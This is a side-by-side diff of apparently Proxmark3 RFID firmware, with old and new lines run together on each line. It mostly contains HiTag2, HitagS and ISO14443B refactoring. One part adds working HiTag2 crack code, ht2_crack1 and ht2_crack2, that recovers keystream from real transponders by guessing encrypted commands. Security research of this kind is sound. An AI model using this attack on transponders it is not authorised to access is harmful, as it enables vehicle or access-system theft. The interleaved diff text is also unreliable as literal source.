static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) { static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) {
WDT_HIT();
uint32_t wait = 0; uint32_t wait = 0;
// Send the content of the frame // Send the content of the frame
for (size_t i = 0; i < frame_len; i++) { for (size_t i = 0; i < frame_len; i++) {
wait += hitag_reader_send_bit(frame[i]); wait += hitag_reader_send_bit(frame[i]);
} }
// Send EOF
// Enable modulation, which means, drop the field // Enable modulation, which means, drop the field
// set GPIO_SSC_DOUT to HIGH
lf_modulation(true); lf_modulation(true);
// Wait for 4-10 times the carrier period // Wait for 4-10 times the carrier period
@ -394,12 +399,14 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l
wait += HITAG_T_LOW; wait += HITAG_T_LOW;
// Disable modulation, just activates the field again // Disable modulation, just activates the field again
// set GPIO_SSC_DOUT to LOW
lf_modulation(false); lf_modulation(false);
// t_stop, high field for stop condition (> 36) // t_stop, high field for stop condition (> 36)
lf_wait_periods(HITAG_T_STOP); lf_wait_periods(HITAG_T_STOP);
wait += HITAG_T_STOP; wait += HITAG_T_STOP;
WDT_HIT();
return wait; return wait;
} }
@ -768,6 +775,8 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *
} }
if (bCrypto && (bAuthenticating == false) && write) { if (bCrypto && (bAuthenticating == false) && write) {
SpinDelay(2);
if (hitag2_write_page(rx, rxlen, tx, txlen) == false) { if (hitag2_write_page(rx, rxlen, tx, txlen) == false) {
return false; return false;
} }
@ -2409,7 +2418,7 @@ static void ht2_send(bool turn_on, uint32_t *cmd_start
, uint8_t *tx, size_t txlen, bool send_bits) { , uint8_t *tx, size_t txlen, bool send_bits) {
// Tag specific configuration settings (sof, timings, etc.) HITAG2 Settings // Tag specific configuration settings (sof, timings, etc.) HITAG2 Settings
#define T_WAIT_1_GUARD 8 #define T_WAIT_1_GUARD 7
if (turn_on) { if (turn_on) {
// Wait 50ms with field off to be sure the transponder gets reset // Wait 50ms with field off to be sure the transponder gets reset
@ -2583,8 +2592,7 @@ bool ht2_packbits(uint8_t *nrz_samples, size_t nrzs, uint8_t *rx, size_t *rxlen)
int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) { int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) {
// Clean up trace and prepare it for storing frames g_logging = false;
set_tracing(true);
// keep field up indicates there are more traffic to be done. // keep field up indicates there are more traffic to be done.
if (keep_field_up == false) { if (keep_field_up == false) {
@ -2685,12 +2693,7 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon
int res = PM3_EFAILED; int res = PM3_EFAILED;
size_t nrzs = 0; size_t nrzs = 0;
uint8_t samples[HT2_MAX_NRSZ]; uint8_t samples[HT2_MAX_NRSZ] = {0};
// waith between sending commands
lf_wait_periods(HITAG_T_WAIT_2_MIN);
WDT_HIT();
uint32_t command_start = 0, command_duration = 0; uint32_t command_start = 0, command_duration = 0;
uint32_t response_start = 0, response_duration = 0; uint32_t response_start = 0, response_duration = 0;
@ -2709,19 +2712,15 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon
} }
// pack bits to bytes // pack bits to bytes
if (ht2_packbits(samples, nrzs, rx, rxlen) == false) { if (rx && (ht2_packbits(samples, nrzs, rx, rxlen) == false)) {
goto out; goto out;
} }
// log Receive data
LogTraceBits(rx, *rxlen, response_start, response_start + response_duration, false);
res = PM3_SUCCESS; res = PM3_SUCCESS;
out: out:
if (keep_field_up == false) { if (keep_field_up == false) {
lf_finalize(false); lf_finalize(false);
BigBuf_free_keep_EM();
} }
return res; return res;
} }

View file

@ -19,7 +19,7 @@
#include "hitag2_crack.h" #include "hitag2_crack.h"
#include "hitag2_crypto.h" #include "hitag2/hitag2_crypto.h"
#include "hitag2.h" #include "hitag2.h"
#include "proxmark3_arm.h" #include "proxmark3_arm.h"
#include "commonutil.h" #include "commonutil.h"
@ -28,16 +28,15 @@
#include "string.h" #include "string.h"
#include "BigBuf.h" #include "BigBuf.h"
#include "cmd.h" #include "cmd.h"
#include "lfadc.h"
const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C };
// #define READP0CMD "1100000111" // #define READP0CMD "1100000111"
const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1}; const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1};
// hitag2crack_xor XORs the source with the pad to produce the target. // hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len. // source, target and pad are binarrays of length len.
static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, uint16_t len) { static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, size_t len) {
for (uint16_t i = 0; i < len; i++) { for (size_t i = 0; i < len; i++) {
target[i] = source[i] ^ pad[i]; target[i] = source[i] ^ pad[i];
} }
} }
@ -48,20 +47,18 @@ static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_
// nrar is the 64 bit binarray of the nR aR pair; // nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send; // cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command. // len is the length of the encrypted command.
static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, int len) { static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, size_t len) {
memset(resp, 0, 4); memset(resp, 0, 4);
// Get UID // Get UID
uint8_t uid[4]; if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) {
if (ht2_read_uid(uid, false, false, true) != PM3_SUCCESS) {
return false; return false;
} }
// send nrar and receive (useless) encrypted page 3 value // send nrar and receive (useless) encrypted page 3 value
uint8_t e_page3[4];
size_t n = 0; size_t n = 0;
if (ht2_tx_rx(nrar, 64, e_page3, &n, true, true) != PM3_SUCCESS) { if (ht2_tx_rx(nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) {
return false; return false;
} }
@ -114,14 +111,11 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar,
uint8_t e_resp[4]; uint8_t e_resp[4];
if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) { if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) {
// check if it is valid OBS! uint8_t e_response[32] = {0};
if (memcmp(e_resp, ERROR_RESPONSE, 4)) { uint8_t response[32] = {0};
uint8_t e_response[32];
uint8_t response[32];
// convert to binarray // convert to binarray
hex2binarray((char *)e_response, (char *)e_resp); hex2binarray_n((char *)e_response, (char *)e_resp, 4);
// decrypt response // decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32); hitag2crack_xor(response, e_response, keybits + 10, 32);
@ -130,7 +124,6 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar,
return true; return true;
} }
}
return false; return false;
} }
@ -146,12 +139,12 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar,
// e_uid is the binarray of the encrypted version of the UID. // e_uid is the binarray of the encrypted version of the UID.
static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
uint8_t cipherbits[42]; uint8_t cipherbits[42] = {0};
memcpy(cipherbits, e_cmd, 10); // copy encrypted cmd to cipherbits memcpy(cipherbits, e_cmd, 10); // copy encrypted cmd to cipherbits
memcpy(cipherbits + 10, e_uid, 32); // copy encrypted uid to cipherbits memcpy(cipherbits + 10, e_uid, 32); // copy encrypted uid to cipherbits
uint8_t plainbits[42]; uint8_t plainbits[42] = {0};
memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd)); // copy cmd to plainbits memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd)); // copy cmd to plainbits
memcpy(plainbits + 10, uid, 32); // copy uid to plainbits memcpy(plainbits + 10, uid, 32); // copy uid to plainbits
@ -159,25 +152,18 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e
hitag2crack_xor(keybits, plainbits, cipherbits, 42); hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits // create extended cmd -> 4 * READP0CMD = 40 bits
uint8_t ext_cmd[40];
memcpy(ext_cmd, read_p0_cmd, sizeof(read_p0_cmd));
memcpy(ext_cmd + 10, read_p0_cmd, sizeof(read_p0_cmd));
memcpy(ext_cmd + 20, read_p0_cmd, sizeof(read_p0_cmd));
memcpy(ext_cmd + 30, read_p0_cmd, sizeof(read_p0_cmd));
// xor extended cmd with keybits // xor extended cmd with keybits
uint8_t e_ext_cmd[40]; uint8_t e_ext_cmd[40] = {0};
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); hitag2crack_xor(e_ext_cmd, read_p0_cmd, keybits, 10);
hitag2crack_xor(e_ext_cmd + 10, read_p0_cmd, keybits + 10, 10);
hitag2crack_xor(e_ext_cmd + 20, read_p0_cmd, keybits + 20, 10);
hitag2crack_xor(e_ext_cmd + 30, read_p0_cmd, keybits + 30, 10);
// send extended encrypted cmd // send extended encrypted cmd
uint8_t resp[4]; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) {
// test if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
return true; return true;
} }
}
return false; return false;
} }
@ -202,6 +188,7 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
// encrypted command. // encrypted command.
uint8_t guess[10]; uint8_t guess[10];
memcpy(guess, e_firstcmd, 10); memcpy(guess, e_firstcmd, 10);
if (a) { if (a) {
guess[5] = !guess[5]; guess[5] = !guess[5];
guess[0] = !guess[0]; guess[0] = !guess[0];
@ -223,15 +210,13 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
} }
// try the guess // try the guess
uint8_t resp[4]; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) { if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) {
// check if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
// convert response to binarray // convert response to binarray
uint8_t e_uid[32]; // response should been encrypted UID
hex2binarray((char *)e_uid, (char *)resp); uint8_t e_uid[32] = {0};
hex2binarray_n((char *)e_uid, (char *)resp, 4);
// test if the guess was 'read page 0' command // test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
@ -242,7 +227,6 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
} }
} }
} }
}
return false; return false;
} }
@ -263,25 +247,12 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) {
for (uint8_t g = 0; g < 2; g++) { for (uint8_t g = 0; g < 2; g++) {
// build binarray // build binarray
//uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 }; uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 };
uint8_t guess[10];
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess // send guess
uint8_t resp[4]; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) { if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) {
// check if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
// return the guess as the encrypted command // return the guess as the encrypted command
memcpy(e_cmd, guess, 10); memcpy(e_cmd, guess, 10);
return true; return true;
@ -292,15 +263,21 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) {
} }
} }
} }
}
return false; return false;
} }
typedef struct {
uint8_t keybits[2080];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_ext_cmd[2080];
} PACKED lf_hitag_crack2_t;
// hitag2_crack implements the first crack algorithm described in the paper, // hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch. // Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the cracked tag // response is a multi-line text response containing the 8 pages of the cracked tag
// nrarhex is a string containing hex representations of the 32 bit nR and aR values // nrarhex is a string containing hex representations of the 32 bit nR and aR values
void ht2_crack(uint8_t *nrar_hex) { void ht2_crack1(uint8_t *nrar_hex) {
clear_trace(); clear_trace();
@ -340,7 +317,6 @@ void ht2_crack(uint8_t *nrar_hex) {
res = PM3_EFAILED; res = PM3_EFAILED;
goto out; goto out;
} }
// read all pages using key stream // read all pages using key stream
for (uint8_t i = 1; i < 8; i++) { for (uint8_t i = 1; i < 8; i++) {
hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits); hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits);
@ -354,3 +330,112 @@ void ht2_crack(uint8_t *nrar_hex) {
out: out:
reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t *)&packet, sizeof(lf_hitag_crack_response_t)); reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t *)&packet, sizeof(lf_hitag_crack_response_t));
} }
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrar_hex is the 32 bit nR and aR in hex
void ht2_crack2(uint8_t *nrar_hex) {
BigBuf_free();
uint8_t *e_response = BigBuf_calloc(32);
lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t));
g_logging = false;
LEDsoff();
set_tracing(false);
clear_trace();
// find the 'read page 0' command and recover key stream
// get uid as hexstring
uint8_t uid_hex[4] = {0};
if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) {
BigBuf_free();
reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
}
hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4);
hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8);
DbpString("looking for encrypted command");
// find a valid encrypted command
uint8_t e_firstcmd[10] = {0};
if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) {
BigBuf_free();
reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
}
DbpString("looking for encrypted page 0");
// find encrypted page0 commnd
if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) {
BigBuf_free();
reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
}
// We got 42 bits of keystream in c2->keybits.
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
int kslen = 40;
int res = PM3_SUCCESS;
while (kslen < 2048 && BUTTON_PRESS() == false) {
hitag2crack_xor(c2->e_ext_cmd, read_p0_cmd, c2->keybits, 10);
hitag2crack_xor(c2->e_ext_cmd + 10, read_p0_cmd, c2->keybits + 10, 10);
hitag2crack_xor(c2->e_ext_cmd + 20, read_p0_cmd, c2->keybits + 20, 10);
hitag2crack_xor(c2->e_ext_cmd + 30, read_p0_cmd, c2->keybits + 30, 10);
Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);
// Get UID
if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) {
res = PM3_EFAILED;
break;
}
// send nrar and receive (useless) encrypted page 3 value
size_t n = 0;
if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) {
res = PM3_EFAILED;
break;
}
uint8_t resp[4] = {0};
res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false);
if (res != PM3_SUCCESS) {
Dbprintf("tx/rx failed, got %zu (res... %i)", n, res);
break;
}
// convert response to binarray
hex2binarray_n((char *)e_response, (char *)resp, 4);
// recover keystream from encrypted response
hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32);
// extented with 30 bits or 3 * 10 read_p0_cmds
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
}
Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);
lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t));
packet->status = 1;
binarray2hex(c2->keybits, kslen, packet->data);
reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t));
BigBuf_free();
return;
}

View file

@ -22,6 +22,6 @@
#include <stdbool.h> #include <stdbool.h>
#include "common.h" #include "common.h"
void ht2_crack(uint8_t *nrar_hex); void ht2_crack1(uint8_t *nrar_hex);
void ht2_crack2(uint8_t *nrar_hex);
#endif #endif

View file

@ -29,7 +29,7 @@
#include "util.h" #include "util.h"
#include "string.h" #include "string.h"
#include "commonutil.h" #include "commonutil.h"
#include "hitag2_crypto.h" #include "hitag2/hitag2_crypto.h"
#include "lfadc.h" #include "lfadc.h"
#include "crc.h" #include "crc.h"
@ -1090,7 +1090,7 @@ static void hitagS_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, ui
// Dbprintf("RX0 %i:%02X.. err:%i resptime:%i", *rxlen, rx[0], errorCount, *resptime); // Dbprintf("RX0 %i:%02X.. err:%i resptime:%i", *rxlen, rx[0], errorCount, *resptime);
} }
static void sendReceiveHitagS(uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { static void sendReceiveHitagS(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) {
LogTraceBits(tx, txlen, HITAG_T_WAIT_2, HITAG_T_WAIT_2, true); LogTraceBits(tx, txlen, HITAG_T_WAIT_2, HITAG_T_WAIT_2, true);
@ -1557,7 +1557,7 @@ void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol) {
break; break;
default: { default: {
res = PM3_EINVARG; res = PM3_EINVARG;
return; goto write_end;
} }
} }

View file

@ -764,7 +764,7 @@ bool sc_rx_bytes(uint8_t *dest, uint16_t *destlen, uint32_t wait) {
break; break;
} else if (len == 1) { } else if (len == 1) {
continue; continue;
} else if (len <= 0) { } else {
return false; return false;
} }
} }
@ -937,7 +937,7 @@ void SmartCardUpgrade(uint64_t arg0) {
bool isOK = true; bool isOK = true;
uint16_t length = arg0, pos = 0; uint16_t length = arg0, pos = 0;
uint8_t *fwdata = BigBuf_get_addr(); const uint8_t *fwdata = BigBuf_get_addr();
uint8_t *verfiydata = BigBuf_malloc(I2C_BLOCK_SIZE); uint8_t *verfiydata = BigBuf_malloc(I2C_BLOCK_SIZE);
while (length) { while (length) {

View file

@ -68,6 +68,6 @@ void SmartCardUpgrade(uint64_t arg0);
void SmartCardSetBaud(uint64_t arg0); void SmartCardSetBaud(uint64_t arg0);
void SmartCardSetClock(uint64_t arg0); void SmartCardSetClock(uint64_t arg0);
void I2C_print_status(void); void I2C_print_status(void);
int I2C_get_version(uint8_t *maj, uint8_t *min); int I2C_get_version(uint8_t *major, uint8_t *minor);
#endif #endif

View file

@ -186,7 +186,7 @@
#endif #endif
// 4sample // 4sample
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); #define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_timeout(uint32_t timeout_etu);
static void iso14b_set_maxframesize(uint16_t size); static void iso14b_set_maxframesize(uint16_t size);
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Signal field is off with the appropriate LED // Signal field is off with the appropriate LED
LED_D_OFF(); LED_D_OFF();
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
SpinDelayUs(76);
// Modulate BPSK // Modulate BPSK
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
AT91C_BASE_SSC->SSC_THR = 0xFF;
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
// Transmit the response. // Transmit the response.
for (uint16_t i = 0; i < len;) { for (uint16_t i = 0; i < len;) {
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Put byte into tx holding register as soon as it is ready // Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
AT91C_BASE_SSC->SSC_THR = response[i++]; AT91C_BASE_SSC->SSC_THR = response[i++];
// Start-up SSC once first byte is in SSC_THR
if (i == 1) {
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
}
} }
} }
} }
@ -771,10 +777,10 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
uint16_t len, cmdsReceived = 0; uint16_t len, cmdsReceived = 0;
int cardSTATE = SIM_NOFIELD; int cardSTATE = SIM_POWER_OFF;
int vHf = 0; // in mV int vHf = 0; // in mV
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE);
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
} }
// find reader field // find reader field
if (cardSTATE == SIM_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
if (cardSTATE == SIM_POWER_OFF) {
cardSTATE = SIM_IDLE; cardSTATE = SIM_IDLE;
LED_A_ON(); LED_A_ON();
} }
} else {
cardSTATE = SIM_POWER_OFF;
LED_A_OFF();
} }
if (cardSTATE == SIM_NOFIELD) { if (cardSTATE == SIM_POWER_OFF) {
continue; continue;
} }
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
break; break;
} }
// ISO14443-B protocol states:
// REQ or WUP request in ANY state
// WUP in HALTED state
if (len == 5) {
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
(receivedCmd[0] == ISO14443B_REQB)) {
LogTrace(receivedCmd, len, 0, 0, NULL, true); LogTrace(receivedCmd, len, 0, 0, NULL, true);
cardSTATE = SIM_SELECTING;
}
}
/*
* How should this flow go?
* REQB or WUPB
* send response ( waiting for Attrib)
* ATTRIB
* send response ( waiting for commands 7816)
* HALT
send halt response ( waiting for wupb )
*/
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
// WUPB
switch (cardSTATE) { switch (cardSTATE) {
//case SIM_NOFIELD: case SIM_IDLE:
case SIM_HALTED: case SIM_READY:
case SIM_IDLE: { case SIM_HALT: {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
break;
}
case SIM_SELECTING: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_WORK; cardSTATE = SIM_READY;
break; break;
} }
case SIM_HALTING: { case SIM_ACTIVE:
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); default: {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break; break;
} }
case SIM_ACKNOWLEDGE: { }
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); // REQB
cardSTATE = SIM_IDLE; switch (cardSTATE) {
case SIM_IDLE:
case SIM_READY: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_READY;
break; break;
} }
case SIM_WORK: { case SIM_ACTIVE: {
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
cardSTATE = SIM_ACKNOWLEDGE;
} else {
// Todo:
// - SLOT MARKER
// - ISO7816
// - emulate with a memory dump
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
}
cardSTATE = SIM_IDLE;
}
break; break;
} }
case SIM_HALT:
default: { default: {
break; break;
} }
} }
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
// HLTB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALT;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
// ATTRIB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_ACTIVE;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
}
++cmdsReceived; ++cmdsReceived;
} }
@ -1566,7 +1586,7 @@ static void CodeIso14443bAsReader(const uint8_t *cmd, int len, bool framing) {
* Convenience function to encode, transmit and trace iso 14443b comms * Convenience function to encode, transmit and trace iso 14443b comms
*/ */
static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) { static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) {
tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
CodeIso14443bAsReader(cmd, len, framing); CodeIso14443bAsReader(cmd, len, framing);
TransmitFor14443b_AsReader(start_time); TransmitFor14443b_AsReader(start_time);
if (g_trigger) LED_A_ON(); if (g_trigger) LED_A_ON();
@ -1582,7 +1602,7 @@ static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t
/* Sends an APDU to the tag /* Sends an APDU to the tag
* TODO: check CRC and preamble * TODO: check CRC and preamble
*/ */
int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *reponselen) { int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *responselen) {
uint8_t real_cmd[msg_len + 4]; uint8_t real_cmd[msg_len + 4];
@ -1693,8 +1713,8 @@ int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void
} }
} }
if (reponselen) { if (responselen) {
*reponselen = len; *responselen = len;
} }
return PM3_SUCCESS; return PM3_SUCCESS;
} }

View file

@ -39,7 +39,7 @@
#endif #endif
void iso14443b_setup(void); void iso14443b_setup(void);
